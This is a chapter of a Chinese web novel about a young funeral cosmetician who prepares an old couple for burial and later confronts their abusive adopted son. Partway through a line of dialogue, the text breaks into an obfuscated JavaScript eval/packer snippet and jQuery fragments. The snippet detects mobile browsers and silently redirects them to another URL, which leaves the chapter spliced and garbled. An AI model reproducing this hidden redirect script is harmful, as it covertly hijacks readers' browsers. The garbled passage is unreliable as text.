29. 第二十九章

作品:《以光为指引

    清晨的山上满是浓雾,窗帘拉开朦胧一片,百啭千声,大约今天是个好天气。


    铃声急促地惊走了正在酣睡的鸟儿,男人接起电话不紧不慢说道:“您好,宁清市殡仪馆。”


    邬言挂了电话,神情严肃,方琛卡着点从大门口跑进来,结果被他拽住书包:“跟我出趟外勤。”


    方琛脑子还没反应过来身子就跟着邬言走了。


    这次的家属指定要求让邬言去倒是少见,方琛坐车上的时候还想着,还有人给别人推荐入殓师的吗?


    地方不远,只是在老城区,车开不进去,他们只能徒步,昨夜刚下的小雨,周围都是还未拆迁的老旧建筑。


    邬言看着门牌号一家一家找,最后停在铁锈的门上,敲了敲,没人应,他略微用力,那门锁就掉地上了,看样子生锈得很厉害。


    进门就是院子里很多废纸皮,踩扁的矿泉水,还有几只老鼠窜过,给方琛吓得一趔趄。


    一位老人颤颤巍巍扶着拐丈出现在门口,他眯着眼看:“你就是邬煦阳?”


    邬言其实有些意外,老人身上有些书香气质,像是教师却不知为何住在这种地方:“不是,我是他的儿子,我爸爸前几年去世了。”


    老人招手让邬言走进点,他细细打量了一翻感叹道:“像,很像。”


    邬言却对这老人没有印象:“您认识我爸?”


    “不算认识,一顿饭的交情。”老人转过身似乎不想多说:“听说你的画脸技术很好。”


    “还好。”


    “你也不必自谦。”


    邬言想扶着他,被老人家躲开了摆摆手,意思是说自己还身体力行。


    他带着他们来了房间,没有想象中的脏乱差,最干净的莫过于那张床上,是新换的被褥,躺着骨瘦如柴白发苍苍的老奶奶:“老婆子年轻时候可爱漂亮了。”


    老人家说着又给她把被子往上提了提:“本来想多留几日,可我怕耽误了她。”


    老奶奶很安详,仿佛是睡着了,邬言看到脚下一盆冒着气的水才知道他应该在给奶奶擦身子,不然按照他刚才打电话说已经放三天的尸体在这天气不可能完好无损,甚至没有臭味。


    方琛自小跟在爷爷奶奶身边,多愁善感鼻子一酸:“奶奶只是先去等您了。”


    老爷爷摇了摇头:“下辈子可别再遇见我,让她吃苦了。”


    他拉开旁边一层布,灰尘散落,邬老师忍着咳了几声,爷爷用袖子擦了擦灰说:“我知道现在棺材都很贵,这是自己做的,能用吧?”


    原来是个棺材,只是没上漆只有薄层板,还有些黑点像是发了霉,方琛本想说这棺材太薄随时都会散架,邬言却在他开口前回答了:“能。”


    爷爷面上有了淡淡的笑意,他把桌上的红色塑料袋打开,拿出了钱,零钱存的很多,都是一块五块最多是十块,很少。


    “这些钱够不够。”爷爷翻开柜子最底层,被邬言摁住了:“奶奶的遗体原本就被您保存的很好,我只是锦上添花,多了。”


    爷爷摇头,拿出了压箱底的小铁盒,翻出了两张红色钞票,底下压着一张银行卡:“一定要画好点。”


    见爷爷执意如此,邬言便收下了,估计是他的执念。


    邬言给奶奶换好寿衣准备化妆的时候,爷爷突然问了句:“你有老婆了吗?”


    邬言没有停顿,依旧很流畅:“没有。”


    “以后要是有可要珍惜对她,人生太短太短了,我们都还没留一儿一女。是我亏欠她了!”不知道他这话是对邬言说的还是奶奶说的。


    两个小时后,邬言让人把棺材抬走,老人家又喊住了他:“小伙子。”


    他又掏出钱,塞进邬言口袋里:“如果我也走了,就帮我随便埋了叭。”


    邬言微微觑眉:“奶奶的骨灰我会让人送过来,您得把钱收好。”


    爷爷摇头用力拍了他的手:“收着,老婆子走了,这些就没意义了。”


    说完转身进了屋子:“你们走吧。”


    邬言看他的背影落寞,孤寂,听着抬棺材的人吆喝着,他忍不住转过身,干裂的手擦掉了眼泪:“要轻点,别磕着了,她怕疼。”


    到车上时,方琛眼眶都是红的,一看就是刚才偷偷哭过了:“老师,爷爷会不会…”


    邬言手压在口袋里十分沉重:“不会的,他下辈子还希望见到他最爱的人。”


    临走前他跟爷爷说:“自杀的人下辈子是投不了胎的,所以您一定要好好的活着,才奶奶才能安心的走。”


    然后还给爷爷的邻居留了殡仪馆的电话,还好邻居人不错,答应会经常去看看爷爷。


    只是事情没有如他想的那般好,第二天晚上邬言接到了方琛的电话,他带着哭腔说:“邬老师,那个爷爷走了。”


    邬言换了衣服驱车去爷爷家,到那里时爷爷已经被抬进棺材里。


    邬言看桌子上的农药未开封,想必也不是自杀,更像是耗尽所有力气,底下压着一张黑白照片。


    他仔细看上面的两个年轻男人穿着白大褂,脖子上工作牌已经模糊到看不清,背景又好像一个什么研究院,其中一个像老人年轻的时候,另一个他看了好久,才敢确认是邬煦阳。


    邬言瞳孔一缩,指尖捏紧着照片泛白,翻过来看后面只写着“1994年,夏。”


    那时他才两岁。


    “邬老师,我跟刘老师来的时候,爷爷抱着奶奶的骨灰盒,就倒在地上。”方琛看到邬言心里才有了底,难怪他今晚上夜班翻来覆去睡不着:“邻居说她听到声响,就过来看看,没想到…”


    “地上有人送,天上有人接,终究是团圆。”邬言回过神把照片收起来,看来老人是知道他一定会来所以才把照片压在这。


    老人没有亲属,他们不敢擅自动遗体,在警察的帮助下,医院下了死亡证明才抬回了殡仪馆,就放在了太平间也不曾处理过遗体。


    方琛想让爷爷入土为安,谁料刘老师一定要按照规矩来,等着家属,他只是个实习生自然不敢说什么。


    只是看着邬言半夜被叫来,结束了也不肯回去,坐在门口的椅子上闭目,不知道是困了还是在思考,他也在等着。


    天空翻出了鱼肚白,清晨,夜班快下班只听一男人大声疾呼。


    “警察查到他们有个养子在外地打工!”


    方琛在休息室睡被吓醒,刘老师一沓a4纸甩在桌上:“我们差点就被那老人家坑了。”


    他们跟法医不一样,如果没有家属同意他们擅自处理遗体是要负法律责任的。


    方琛脑子还没醒,只是看了看时间,好像他要下夜班了。


    邬言是坐着睡了一晚上,他看着资料面色凝重。


    这次方琛看了看邬老师的脸,才反应过来好像两人面色都不好,凑上前看。


    完了顿时站起来:“刘老师,我相信爷爷不是那样的人。”


    刘老师对小屁孩的话不敢苟同:“方琛,你才实习多久,怎么懂得社会的险恶。”


    邬言却问:“家属电话打了吗?”


    刘老师冷笑:“打不通。”


    邬言似乎早就猜到他这么讲,脱下外套,刘老师疑惑:“你干嘛去。”


    邬言步伐很快,只留下轻飘飘的一句:“完成往生者的遗愿。”


    方琛眼睛一亮:“邬老师,你要去化妆吗?”


    刘老师在太平间门口拦住了他,:“邬言,规矩是死的,人也是死的。”


    邬言带上手套和口罩,抬了抬下颌示意他让开:“我们是活的。”


    刘老师知道邬言肯定就是卡着下班点,现在不在他处理时间内,就管不着,刚好看见范开济正好过来:“范老师…”


    范开济看到刘老师手上的材料加上之前了解了一些老人家的生平,还没等刘老师告状,他就说:“让他去。”


    刘老师一脸愕然,想再说什么,范开济再次堵住了他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15383752|168517||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的嘴:“方琛,你加个班,明天给你调休,先去帮忙。”


    “好的。”方琛小跑跟着邬言进了太平间。


    刘老师气的直接甩手走人。


    中午那老夫妻的养子赶来,果不其然大闹了殡仪馆:“你们殡仪馆怎么办事的,经过家属同意了吗,就把我爸妈拉走,我要去法院起诉你们,还骗我爸妈钱。”


    保安拉都拉不走,有几个知情的人都在摇头怪邬言太无法无天了,结果现在碰上个难缠的家属。


    养子大喊:“谁是负责人,把那个邬什么东西给我叫出来!”


    “邬言,是我。”邬言从办公室出来摘下了口罩,神情依旧淡漠。


    方琛听他骂的难听实在受不了:“我们经过爷爷同意才带走他们的。”


    养子压根不信,捏着软柿子就想上手指人:“带走个锤子,我才是他亲生儿子。他什么都没跟我说,你们凭什么带走他们。”


    邬言把方琛护在身后:“你爸爸的遗嘱。”


    “文件呢,拿给我看看。”


    “没有。”


    “没有你还这么理直气壮。”


    “口头遗嘱也具法律效应,想听的话晚上让你爸托梦给你。”


    “……”


    邬言的语气听不出喜怒哀乐,只是让那养子感觉自己一拳打在了棉花上。


    “邬老师。”耿鸿远抱着个木盒子小跑出来,还残留着余温,他不太清楚具体情况。


    养子眯着眼:“这是我爸的骨灰吗?”


    “应该是,但…”耿鸿远还没说完,养子趁所有人不注意抢过骨灰盒砸在地上。


    在场人皆是一愣,包括邬言看到那散满地的骨灰,怒形于色:“你在干什么!”


    “不把钱还给我,不然我砸了你们殡仪馆!”


    “报警。”邬言说完扯了扯领带对着养子的脸上就是一拳。


    这下他们都惊了,连忙喊了范开济出来,说是扭打在一起不如说是邬言单方面揍养子,硬是要让他跪在骨灰面前。


    “邬言,住手。”范开济都不敢上前,只能骂道:“你个混小子,是要扣工资吗!”


    邬言看到范开济收起了怒火,整理了下衣服,不知道以为他只是去外面跑了一圈回来:“这种人,不打他一顿是不会清醒的。”


    范开济气的踢了他一脚:“再有下次腿给你打断。”


    这时候养子才跪在地上流泪,身体一抽一抽地抖:“你们一个个都知道什么?”


    “邻居从小就跟我说他们不要我了,我爸常年不在家,偶尔回来他们还想要自己的孩子,就一定会偏心,我就给我妈偷偷吃避孕药。这样他们只能爱我一个,就不会再抛弃我了。”


    他们不懂两夫妻的爱情这么美好怎么教出这样的儿子,原来都是大人在小孩面前自以为开的玩笑,却在潜移默化地影响小孩子的思想。


    邬言拿出那张在老人家里拿到的黑白照片,语气凌冽:“你爸是因为长期从事化学研究才导致的不育,而你妈身体日渐衰退就是因为你长期下药。干这档子事,我要是你现在直接一头撞死在这。”


    养子一愣,把骨灰一把一把抱进怀里却从指缝中溜走:“不可能!爸,你们怎么又丢下我,不能丢下我。他们就是不想要我了。”


    警察这时赶来,把养子从地上拖起来,邬言也是现在才知道,那小铁盒里的银行卡是给谁的,只是对方却一句话都没问:“你知道你爸妈的棺材都是你爸自己做的吗?为了不浪费一分给你的钱,然而我现在只觉得你不配。”


    养子涕泣如雨,上警车前他问邬言:“骨灰帮我再装起来吗?”


    被他糟蹋没剩多少了,邬言本不想理他,嘴上却说了句:“能。”


    养子往殡仪馆的方向鞠了躬。


    一场闹剧结束众人都以为那养子是不是有精神分裂,当然最后邬言被范开济抓进办公室批/斗了一顿,让他这周都呆家里反省,并罚了一万字检讨。